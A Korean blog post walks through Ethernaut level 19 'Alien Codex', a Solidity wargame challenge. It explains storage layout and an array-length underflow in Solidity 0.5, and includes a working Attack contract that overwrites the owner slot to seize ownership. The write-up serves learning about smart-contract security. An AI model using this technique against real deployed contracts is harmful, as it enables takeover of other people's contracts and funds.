티스토리 뷰

Solidity/Hacking

[Ethernaut] 19. Alien Codex

piatoss 2024. 1. 31. 12:00

1. 문제

 

The Ethernaut

The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

ethernaut.openzeppelin.com

You've uncovered an Alien contract. Claim ownership to complete the level. 

 

Things that might help 

  • Understanding how array storage works 
  • Understanding ABI specifications
  • Using a very underhanded approach
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function makeContact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

2. 풀이

 이번에는 문제가 정말로 어려워서 코드를 하나하나 뜯어보면서 살펴보겠습니다.

 

 우선 살펴볼 부분은 컨트랙트 선언 부분입니다. 컨트랙트 이름을 지정해주고 `is` 키워드로 Ownable 컨트랙트를 상속하고 있습니다.

contract AlienCodex is Ownable {

 solidity 0.5버전으로 작성된 Ownerble 컨트랙트는 다음과 같습니다. 상태 변수로 _owner가 선언된어 있습니다.

더보기
contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () internal {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(isOwner(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Returns true if the caller is the current owner.
     */
    function isOwner() public view returns (bool) {
        return msg.sender == _owner;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * > Note: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     */
    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

 AlienCodex 컨트랙트의 상태 변수는 불리언 타입의 contact와 bytes32 타입의 동적 배열 codex 두 개가 선언되어 있습니다. 

bool public contact;
bytes32[] public codex;

 함수 변경자는 contact 값이 true인 경우에만 함수를 실행할 수 있도록 로직을 제어합니다.

modifier contacted() {
  assert(contact);
  _;
}

 다음은 함수들입니다.

  • makeContact: contact를 true로 변경합니다. contacted 변경자가 붙은 함수들을 호출하려면 이 함수를 가장 먼저 호출해야할 것입니다.
  • record: 동적 배열에 원소를 추가합니다.
  • retract: 동적 배열의 길이를 1만큼 줄입니다.
  • revise: 배열의 i번 인덱스의 값을 변경합니다.
function makeContact() public {
  contact = true;
}

function record(bytes32 _content) contacted public {
  codex.push(_content);
}

function retract() contacted public {
  codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
  codex[i] = _content;
}

 여기서 owner 값을 변경해야 하는데, 정공법으로는 안되니 이번에도 스토리지 슬롯을 건드려서 교묘하게 값을 수정해야 할 것 같습니다. owner의 스토리지 위치는 'await web3.eth.getStorageAt(instance, 0)'를 콘솔창에 입력하거나 블록 탐색기를 통해 확인할 수 있습니다. owner는 다음과 같이 contact와 함께 스토리지의 0번 슬롯에 들어있습니다.

 

 그렇다면 동적 배열의 시작 위치는 스토리지의 1번 슬롯이겠죠? 그런데 배열에 원소가 추가되면 어떻게 될까요? 만약 스토리지의 2번 슬롯에 x라는 다른 타입의 값이 선언되어 있는 상태에서 동적 배열의 길이가 2이상으로 커지게 된다면, x의 저장 위치가 밀려나는 것일까요, 아니면 x에 저장된 값을 덮어쓰게 될까요? 둘 다 말이 되지 않습니다. 데이터가 저장된 위치가 매번 변하는 것은 비용이 많이들고 데이터를 덮어쓰는 것은 신뢰할 수 없고 안정적이지 않습니다.

 

 그래서 자료를 찾아보았습니다.

 

Layout of State Variables in Storage — Solidity 0.8.25 documentation

Layout of State Variables in Storage Edit on GitHub Layout of State Variables in Storage State variables of contracts are stored in storage in a compact way such that multiple values sometimes use the same storage slot. Except for dynamically-sized arrays

docs.soliditylang.org

 동적 배열이나 맵의 경우는 원소가 얼마나 추가될지 알 수 없기 때문에 선언된 순서대로 주어지는 일반적인 스토리지 레이아웃을 그대로 적용하기 어렵습니다. 그래서 별도의 스토리지 슬롯을 사용하도록 설계되었습니다. 동적 배열의 경우는 배열 변수가 선언된 위치 p(위의 컨트랙트에서는 1번 슬롯)는 배열의 길이를 저장하기 위해 사용합니다. 그리고 배열의 원소가 저장될 위치의 시작점은 keccack256(p)를 통해 계산되며, 이 위치를 시작으로 배열의 원소들이 순서대로 저장됩니다.

 동적 배열이 uint24 타입의 2차원인 경우, i행의 j번째 원소의 슬롯 위치는 'keccak256(keccak256(p) + i) + floor(j / floor(256 / 24))'라고 합니다.

 

스토리지 슬롯의 번호도 결국 256비트 안에서 결정이 되기 때문에 배열의 크기를 조작하여 스토리지 슬롯 위치가 0이 되도록 만드는 인덱스에 해당하는 값을 자신의 지갑 주소로 변경하면 문제를 해결할 수 있을 것 같습니다. 그런데 해당 인덱스를 구하는 것도 문제지만, 그 값이 굉장히 커질 경우에는 배열을 어떻게 그렇게까지 크게 만들 수 있느냐가 관건인 것 같습니다.

 

 다행히 컨트랙트에서 사용한 solidity 버전이 0.5이기 때문에 오버플로우에 대한 별다른 검사를 진행하지 않습니다. 이 점을 활용하면 배열의 길이가 0일 때, retract 함수를 호출하여 배열의 길이를 2256-1로 만들 수 있습니다. 이렇게 배열의 길이를 늘려놓고 나면 값을 변경할 인덱스를 t를 2256 - keccack256(p)를 통해 구할 수 있습니다. t + keccack256(p)는 2256이기 때문에 0으로 오버플로우가 발생하게 되고 결과적으로 스토리지의 0번 슬롯에 있는 값을 변경하게 될 것입니다.

 

 앞서 다룬 내용을 종합하여 공격 컨트랙트를 작성하면 다음과 같습니다. 컨트랙트를 사용하지 않고 여러번 따로 호출하여 문제를 해결할 수도 있습니다만, 이렇게 한 번의 트랜잭션으로 처리하면 훨씬 간단합니다.

contract Attack {
    address public alien;

    constructor(address _alien) public {
        alien = _alien;
    }

    function attack() public {
        AlienCodex instance = AlienCodex(alien);

        instance.makeContact(); // turns contact to true
        instance.retract(); // array length overflows to 2**256-1

        uint256 arraySlotStart = uint256(keccak256(abi.encode(1))); // slot index for 0th item of array

        uint256 targetIndex = 0;
        targetIndex -= 1; // overflows to 2**256 - 1
        targetIndex -= arraySlotStart; // 2 ** 256 - 1 - arraySlotStart
        targetIndex += 1; // 2**256 - arraySlotStart

        // targetIndex + arraySlotStart = 2**256 -> slot index overflows to 0

        instance.revise(targetIndex, bytes32(uint256(uint160(msg.sender)))); // revise element in targetIndex to user address
    }
}

 Remix IDE를 사용하여 컨트랙트를 배포합니다.

 

 attack 함수를 호출하기 전의 owner 값은 다음과 같습니다.

 

 컨트랙트가 배포되고 나면 attack 함수를 호출하여 트랜잭션을 실행합니다.

 

 트랜잭션이 컨펌되고 나면 owner 값이 자신의 지갑 주소로 변경된 것을 확인할 수 있습니다.

 

 인스턴스를 제출하고 마무리합니다.


3. 결론

 이번 문제는 확실히 어려웠습니다. 시행착오가 여러 번 있어서 새로운 인스턴스를 여러 번 생성하기도 했습니다. 스토리지 슬롯을 계산하는 것도 문제였지만, keccack256 함수를 호출하기 위해 넘겨주는 인수를 어떤 인코딩 함수를 사용해야할지 헷갈려서(abi.encode, abi.encodePacked 등) 헤멘 것 같습니다. abi 인코딩과 관련해서는 별도로 게시글을 작성해보도록 하겠습니다.

 

 이번 문제에서 배열의 길이를 줄이는 것으로 배열 크기를 늘리는 작업과 오버플로우 자체를 활용해서 문제를 풀었는데, 이는 0.5버전이라서 가능했던 부분이라는 점을 인지해야 합니다. solidity 0.8에서는 배열의 길이는 읽기만 가능한 값이고 push, pop을 통해서만 배열 길이를 조작할 수 있습니다. 또한 오버플로우도 연산과정에서 자체적으로 검사하여 revert시키므로 주의하여 사용해야 합니다.

 

 18번 문제를 건너뛰었는데, 이 문제는 opcode를 사용해서 직접 컨트랙트를 작성해야 해서 해당 부분을 별도로 공부하고 풀어보겠습니다.

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 21. Shop  (0) 2024.02.02
[Ethernaut] 20. Denial  (0) 2024.02.01
[Ethernaut] 17. Recovery  (1) 2024.01.30
[Ethernaut] 16. Preservation  (0) 2024.01.29
[Ethernaut] 15. Naught Coin  (1) 2024.01.28
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함